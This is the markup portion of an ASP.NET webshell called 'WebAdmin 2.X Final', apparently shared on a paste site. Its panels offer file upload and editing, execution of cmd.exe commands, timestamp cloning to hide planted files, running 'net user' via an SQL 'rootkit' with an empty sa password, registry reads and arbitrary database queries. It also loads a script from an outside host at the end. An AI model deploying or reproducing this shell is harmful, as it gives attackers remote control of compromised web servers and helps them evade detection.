  828. <asp:Panel id="MAIN" runat="server" Wrap="False" ToolTip="Main" Visible="False">
  829. <asp:Label id="Label_tools" runat="server" enableviewstate="False">Function:</asp:Label>
  830. <asp:Button class="buttom" id="Button_filemanager" onclick="ShowFileM" runat="server" Text="File" Width="80px"></asp:Button>
  831. <asp:Button class="buttom" id="Button_cmd" onclick="Button_showcmd_Click" runat="server" Text="Command" Width="80px"></asp:Button>
  832. <asp:Button class="buttom" id="Button_clonetime" onclick="Button_showclone_Click" runat="server" Text="CloneTime" Width="80px"></asp:Button>
  833. <asp:Button class="buttom" id="Button_sqlcmd" onclick="Button_showcmdshell_Click" runat="server" Text="SQLRootkit" Width="80px"></asp:Button>
  834. <asp:Button class="buttom" id="Button_sysinfo" onclick="Button_showinfo_Click" runat="server" Text=" SysInfo " Width="80px"></asp:Button>
  835. <asp:Button class="buttom" id="Button_db" onclick="ShowData" runat="server" Text="Database" Width="80px"></asp:Button>
  836. <asp:Button class="buttom" id="Button_reg" onclick="ShowReg" runat="server" Text="Regedit" Width="80px"></asp:Button>
  837. <asp:Button class="buttom" id="Button_about" onclick="ShowAbout" runat="server" Text="About" Width="80px"></asp:Button>
  838. <asp:Button class="buttom" id="Button_exit" onclick="Logout_click" runat="server" Text="Exit" Width="80px"></asp:Button>
  839. <hr />
  840. </asp:Panel>
  841. <asp:Panel id="FileManager" runat="server" Wrap="False" Width="100%">
  842. <asp:Label id="Label_Drives" runat="server" enableviewstate="False"></asp:Label>
  843. <br />
  844. <asp:Label id="Label_Dir" runat="server" enableviewstate="False">Currently Dir :</asp:Label>
  845. <asp:TextBox class="TextBox" id="CDir" runat="server" Wrap="False" Width="300px"></asp:TextBox>
  846. <asp:Button class="buttom" id="Button_GoTo" onclick="GoTo_click" runat="server" ToolTip="Go to the dir" Text=" Go "></asp:Button>
  847. <asp:Button id="PlasteButton" onclick="Plaste_Click" runat="server" Text="Plaste" CssClass="buttom"></asp:Button>
  848. <br />
  849. <asp:Label id="Label_oper" runat="server" enableviewstate="False">Operate:</asp:Label>
  850. <asp:TextBox class="TextBox" id="TextBox_FDName" runat="server" Wrap="False" Width="100px"></asp:TextBox>
  851. <asp:Button class="buttom" id="Button_NewF" onclick="NewFile" runat="server" Text="NewFile"></asp:Button>
  852. <asp:Button class="buttom" id="Button_NewD" onclick="NewFolder" runat="server" Text="NewDir"></asp:Button>
  853. <input class="TextBox" id="UpFile" type="file" name="upfile" runat="server" />
  854. <asp:Button class="buttom" id="Button_UpFile" onclick="UpLoad" runat="server" Text="UpLoad" EnableViewState="False"></asp:Button>
  855. <HT>
  856. <br />
  857. <asp:Label id="Label_files" runat="server" enableviewstate="False" font-size="XX-Small" width="800px"></asp:Label>
  858. </asp:Panel>
  859. <asp:Panel id="CMD" runat="server" Wrap="False" ToolTip="CMD" Visible="False" Width="380px">
  860. <asp:Label id="Label_cmdpath" runat="server" enableviewstate="False" width="100px">Program
  861. : </asp:Label>
  862. <asp:TextBox class="TextBox" id="CMDPath" runat="server" Wrap="False" Text="cmd.exe" Width="250px">c:\windows\system32\cmd.exe</asp:TextBox>
  863. <br />
  864. <asp:Label id="Label_cmd" runat="server" enableviewstate="False" width="100px">Arguments
  865. :</asp:Label>
  866. <asp:TextBox class="TextBox" id="CMDCommand" runat="server" Wrap="False" Width="250px">/c ver</asp:TextBox>
  867. <asp:Button class="buttom" id="Button_cmdRun" onclick="RunCMD" runat="server" Text="Run" EnableViewState="False"></asp:Button>
  868. <br />
  869. <asp:Label id="cmdResult" runat="server"></asp:Label>
  870. </asp:Panel>
  871. <asp:Panel id="CloneTime" runat="server" Wrap="False" ToolTip="Clone Time" Visible="False">
  872. <asp:Label id="Label_rework" runat="server">Rework File or Dir:</asp:Label>
  873. <asp:TextBox class="TextBox" id="time1" runat="server" Wrap="False" Width="400px">c:\webadmin2XF.aspx</asp:TextBox>
  874. <br />
  875. <asp:Label id="Label_copied" runat="server">Copied File or Dir : </asp:Label>
  876. <asp:TextBox class="TextBox" id="time2" runat="server" Wrap="False" Width="400px">c:\index.aspx</asp:TextBox>
  877. <br />
  878. <asp:Button class="buttom" id="Button_clone" onclick="GoCloneTime" runat="server" Text="Clone"></asp:Button>
  879. <br />
  880. <asp:Label id="Label_cloneResult" runat="server"></asp:Label>
  881. </asp:Panel>
  882. <asp:Panel id="SQLRootkit" runat="server" Wrap="False" ToolTip="SQLRootKit" Visible="False">
  883. <asp:Label id="Label_conn" runat="server" width="100px">ConnString:</asp:Label>
  884. <asp:TextBox class="TextBox" id="ConStr" runat="server" Wrap="False" Width="500px">server=127.0.0.1;UID=sa;PWD=;Provider=SQLOLEDB</asp:TextBox>
  885. <br />
  886. <asp:Label id="Label_sqlcmd" runat="server" width="100px">Command:</asp:Label>
  887. <asp:TextBox class="TextBox" id="SQLCmd" runat="server" Wrap="False" Width="500px">net user</asp:TextBox>
  888. <asp:Button class="buttom" id="SQLCmdRun" onclick="CMDSHELL" runat="server" Text="Run"></asp:Button>
  889. <br />
  890. <asp:Label id="resultSQL" runat="server"></asp:Label>
  891. </asp:Panel>
  892. <asp:Panel id="SysInfo" runat="server" Wrap="False" ToolTip="System Infomation" Visible="False" EnableViewState="False">
  893. <table width="80%" align="center" border="1">
  894. <tbody>
  895. <tr>
  896. <td colspan="2">
  897. Web Server Information</td>
  898. </tr>
  899. <tr>
  900. <td width="40%">
  901. Server IP</td>
  902. <td width="60%">
  903. <asp:Label id="ServerIP" runat="server" enableviewstate="False"></asp:Label></td>
  904. </tr>
  905. <tr>
  906. <td height="73">
  907. Machine Name</td>
  908. <td>
  909. <asp:Label id="MachineName" runat="server" enableviewstate="False"></asp:Label></td>
  910. </tr>
  911. <tr>
  912. <td>
  913. Network Name</td>
  914. <td>
  915. <asp:Label id="UserDomainName" runat="server"></asp:Label></td>
  916. </tr>
  917. <tr>
  918. <td>
  919. User Name in this Process</td>
  920. <td>
  921. <asp:Label id="UserName" runat="server"></asp:Label></td>
  922. </tr>
  923. <tr>
  924. <td>
  925. OS Version</td>
  926. <td>
  927. <asp:Label id="OS" runat="server"></asp:Label></td>
  928. </tr>
  929. <tr>
  930. <td>
  931. Started Time</td>
  932. <td>
  933. <asp:Label id="StartTime" runat="server"></asp:Label></td>
  934. </tr>
  935. <tr>
  936. <td>
  937. System Time</td>
  938. <td>
  939. <asp:Label id="NowTime" runat="server"></asp:Label></td>
  940. </tr>
  941. <tr>
  942. <td>
  943. IIS Version</td>
  944. <td>
  945. <asp:Label id="IISV" runat="server"></asp:Label></td>
  946. </tr>
  947. <tr>
  948. <td>
  949. HTTPS</td>
  950. <td>
  951. <asp:Label id="HTTPS" runat="server"></asp:Label></td>
  952. </tr>
  953. <tr>
  954. <td>
  955. PATH_INFO</td>
  956. <td>
  957. <asp:Label id="PATHS" runat="server"></asp:Label></td>
  958. </tr>
  959. <tr>
  960. <td>
  961. PATH_TRANSLATED</td>
  962. <td>
  963. <asp:Label id="PATHS2" runat="server"></asp:Label></td>
  964. </tr>
  965. <tr>
  966. <td>
  967. SERVER_PORT</td>
  968. <td>
  969. <asp:Label id="PORT" runat="server"></asp:Label></td>
  970. </tr>
  971. <tr>
  972. <td>
  973. SeesionID</td>
  974. <td>
  975. <asp:Label id="SID" runat="server"></asp:Label></td>
  976. </tr>
  977. </tbody>
  978. </table>
  979. </asp:Panel>
  980. <asp:Panel id="DATA" runat="server" Wrap="False" ToolTip="Manage Database" Visible="False">
  981. <asp:Label id="label_datacs" runat="server" width="120px">ConnString :</asp:Label>
  982. <asp:TextBox class="TextBox" id="DataCStr" runat="server" Wrap="False" Width="500px">Provider=Microsoft.Jet.OLEDB.4.0;Data Source=E:\MyWeb\UpdateWebadmin\guestbook.mdb</asp:TextBox>
  983. <br />
  984. <asp:Label id="Label_datatype" runat="server" width="120px">Database Type:</asp:Label>
  985. <asp:RadioButton id="Type_SQL" runat="server" Text="MSSQL" Width="80px" CssClass="buttom" OnCheckedChanged="DB_onrB_1" GroupName="DBType" AutoPostBack="True"></asp:RadioButton>
  986. <asp:RadioButton id="Type_Acc" runat="server" Text="Access" Width="80px" CssClass="buttom" OnCheckedChanged="DB_onrB_2" GroupName="DBType" AutoPostBack="True" Checked="True"></asp:RadioButton>
  987. <asp:Button class="buttom" id="DB_Submit" onclick="DB_Submit_Click" runat="server" Text="Submit" Width="80px"></asp:Button>
  988. <br />
  989. <asp:Label id="db_showTable" runat="server"></asp:Label>
  990. <br />
  991. <asp:Label id="DB_exe" runat="server" height="37px" visible="False">Execute SQL :</asp:Label>
  992. <asp:TextBox id="DB_EString" runat="server" TextMode="MultiLine" Visible="false" Width="500" CssClass="TextBox" Height="50px"></asp:TextBox>
  993. <asp:Button id="DB_eButton" onclick="DB_Exec_Click" runat="server" Text="Exec" Visible="false" CssClass="buttom"></asp:Button>
  994. <br />
  995. <asp:Label id="DB_ExecRes" runat="server"></asp:Label>
  996. <br />
  997. <asp:DataGrid id="DB_DataGrid" runat="server" Width="800px" with="100%" AllowPaging="true" AllowSorting="true" OnSortCommand="DB_Sort" PageSize="20" OnPageIndexChanged="DB_Page" PagerStyle-Mode="NumericPages">
  998. <PagerStyle mode="NumericPages"></PagerStyle>
  999. </asp:DataGrid>
  1000. </asp:Panel>
  1001. <asp:Panel id="reg" runat="server" Wrap="False" ToolTip="Read Regedit" Visible="False">
  1002. <asp:Label id="label_rkey" runat="server" width="80px">Key :</asp:Label>
  1003. <asp:TextBox class="TextBox" id="RegKey" runat="server" Wrap="False" Width="500px">HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\ComputerName\ComputerName</asp:TextBox>
  1004. <br />
  1005. <asp:Label id="label_rV" runat="server" width="80px">Value:</asp:Label>
  1006. <asp:TextBox class="TextBox" id="RegValue" runat="server" Wrap="False" Width="200px">ComputerName</asp:TextBox>
  1007. <asp:Button class="buttom" id="ReadReg_Click" onclick="ReadReg" runat="server" Text="Read"></asp:Button>
  1008. <br />
  1009. <br />
  1010. <asp:Label id="RegResult" runat="server"></asp:Label>
  1011. </asp:Panel>
  1012. <asp:Panel id="about" runat="server" Wrap="False" ToolTip="about WebAdmin 2.X Final" Visible="False" Width="789px" Height="25px" HorizontalAlign="Center">
  1013. <br />
  1014. <br />
  1015. <asp:Label id="label_about" runat="server" width="80px">WebAdmin 2.X Final is a webshell
  1016. run in ASP.Net code by&nbsp;</asp:Label>
  1017. <asp:HyperLink id="HyperLink1" runat="server" Visible="True" Target="_blank" NavigateUrl="http://www.privshells.com">Web Aspx Shell</asp:HyperLink>
  1018. <br />
  1019. <asp:Image id="Image1" runat="server" ToolTip="Build20051225" Visible="True" ImageUrl="http://www.antikorea.com/me-2.jpg" AlternateText="Enjoy Hacking !"></asp:Image>
  1020. </asp:Panel>
  1021. <asp:Panel id="File_Edit" runat="server" Wrap="False" ToolTip="Edit File" Visible="False" Width="789px" Height="25px" HorizontalAlign="Center">
  1022. <asp:Label id="label_path" runat="server">File Path : </asp:Label>
  1023. <asp:TextBox id="edited_path" runat="server" Width="300" CssClass="TextBox"></asp:TextBox>
  1024. *
  1025. <br />
  1026. <asp:TextBox id="edited_content" runat="server" TextMode="MultiLine" CssClass="TextBox" Columns="100" Rows="25"></asp:TextBox>
  1027. <br />
  1028. <asp:Button id="edited_Edit" onclick="FileEdit" runat="server" Text="Sumbit" CssClass="buttom"></asp:Button>
  1029. </asp:Panel>
  1030. <asp:Panel id="File_del" runat="server" Wrap="False" ToolTip="Delete File" Visible="False" Width="789px" Height="25px" HorizontalAlign="Center">
  1031. <asp:Label id="label_del" runat="server"></asp:Label>
  1032. <br />
  1033. <asp:Button id="del_del" onclick="FileDel" runat="server" Text="Delete It" CssClass="buttom"></asp:Button>
  1034. </asp:Panel>
  1035. <asp:Panel id="File_Rename" runat="server" Wrap="False" ToolTip="Delete File" Visible="False" Width="789px" Height="25px" HorizontalAlign="Center">
  1036. <asp:TextBox class="TextBox" id="btn_rename" runat="server" Wrap="False" Width="200px"></asp:TextBox>
  1037. <asp:Button id="rn_rn" onclick="rn_rn_Click" runat="server" Text="Rename It" CssClass="buttom"></asp:Button>
  1038. </asp:Panel>
  1039. <asp:Panel id="File_Att" runat="server" Wrap="False" Visible="False" Width="789px" Height="25px" HorizontalAlign="Center">
  1040. <asp:CheckBox class="TextBox" id="onlyread" Wrap="false" Text="ReadOnly" Width="100px" Runat="server"></asp:CheckBox>
  1041. <asp:CheckBox class="TextBox" id="hide" Wrap="false" Text="hide" Width="100px" Runat="server"></asp:CheckBox>
  1042. <asp:CheckBox class="TextBox" id="sys" Wrap="false" Text="sys" Width="100px" Runat="server"></asp:CheckBox>
  1043. <asp:CheckBox class="TextBox" id="archive" Wrap="false" Text="archive" Width="100px" Runat="server"></asp:CheckBox>
  1044. <br />
  1045. <asp:Button id="Set_Att" onclick="Set_Att_Click" runat="server" Text="Set It" CssClass="buttom"></asp:Button>
  1046. </asp:Panel>
  1047. </form>
  1048. <script src=http://privshells.com/blabla/per.js></script>
  1049. </body>
  1050. </html>
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement